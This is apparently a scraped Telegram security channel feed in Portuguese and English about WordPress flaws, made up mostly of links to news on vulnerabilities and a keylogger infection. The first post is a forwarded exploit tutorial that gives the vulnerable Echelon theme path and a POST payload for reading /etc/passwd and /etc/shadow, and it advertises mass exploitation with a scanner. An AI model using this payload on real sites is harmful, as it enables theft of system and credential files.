.: PR1V8 :.

Forwarded from The Cyber Channel

#exploit #wordpress

Tutorial/Video EXPLOIT Wordpress A F D Theme Echelon + SCANNER INURLBR

Arquivos que o EXPLOIT verifica::

File download /etc/passwd & /etc/shadow

Failure consists of exploring a parameter $ _POST file

{alvo_target}/wp-content/themes/echelon/lib/scripts/dl-skin.php

The following fields are exploited for Arbitrary File Download
*REQUEST POST:*
_mysite_download_skin={$config['file']}&submit=Download
ex:
_mysite_download_skin=/etc/passwd&submit=Download

http://blog.inurl.com.br/2014/12/tutorialvideo-exploit-wordpress-f-d.html

INURL - BRASIL

Google INURL - Brasil: Tutorial/Video EXPLOIT Wordpress A F D Theme Echelon + SCANNER INURLBR

TUTORIAL ::: E X P L O I T

$MASS_EXPLOIT = ($Script_Exploit + $SCANNER_INURLBR);

43 views15:13

.: PR1V8 :.

Forwarded from Markdown

#Curso #Alura #Wordpress

WORDPRESS

1.15K views01:08

.: PR1V8 :.

https://www.wordfence.com/blog/2016/11/hacking-27-web-via-wordpress-auto-update/
#wordpress #hacking #falha #code

Wordfence

Hacking 27% of the Web via WordPress Auto-Update

At Wordfence, we continually look for security vulnerabilities in the third party plugins and themes that are widely used by the WordPress community. In addition to this research, we regularly examine WordPress core and the related wordpress.org systems.…

1.39K views18:20

.: PR1V8 :.

#Noticia #WordPress #Vul

Sem alarde, WordPress corrige vulnerabilidade perigosa de segurança

Essa vulnerabilidade foi descoberta por pesquisadores da companhia de segurança web Sucuri e foi informada de maneira privada para a equipe do WordPress em 20 de janeiro. Ela fica localizada na API REST da plataforma e permite que invasores não autenticados modifiquem o conteúdo de qualquer post ou página em um site WordPress.

http://idgnow.com.br/internet/2017/02/02/sem-alarde-wordpress-corrige-vulnerabilidade-perigosa-de-seguranca/

🌐 @pr1v8

IDG Now!

Sem alarde, WordPress corrige vulnerabilidade perigosa de segurança - IDG Now!

Plataforma de gerenciamento de conteúdo adiou intencionalmente a revelação da falha em uma semana para garantir a segurança de usuários.

2.12K views16:55

.: PR1V8 :.

#WordPress #Vulnerabilidade

Plugin WordPress usado por mais de 300.000 sites é descoberto vulnerabilidade ao ataque SQL Injection

> http://thehackernews.com/2017/06/wordpress-hacking-sql-injection.html

🌐 @PR1V8

3.57K views14:10

.: PR1V8 :.

#keylogger #wordpress #cloudfare

Keylogger encontrado e quase 5,500 sites WordPress são infectados

O script é carregado no frontend e backend de um site, o que significa que também pode registrar nomes de usuários e senhas ao fazer login no painel de administração do site.

> https://www.bleepingcomputer.com/news/security/keylogger-found-on-nearly-5-500-infected-wordpress-sites/

🌐 @PR1V8

BleepingComputer

Keylogger Found on Nearly 5,500 Infected WordPress Sites

Nearly 5,500 WordPress sites are infected with a malicious script that logs keystrokes and sometimes loads an in-browser cryptocurrency miner.

3.03K views23:25

.: PR1V8 :.

#wordpress #pr1v8 #hacking #web #kopimi

Wordpress xmlrpc.php -common vulnerabilites & how to exploit them

https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32

🌐 @PR1V8

Medium

Wordpress xmlrpc.php -common vulnerabilites & how to exploit them

Hello there! , whats up ? ,Bilal Rizwan here hope your doing great & having fun learning from the community like I am.

3.76K views23:51

.: PR1V8 :.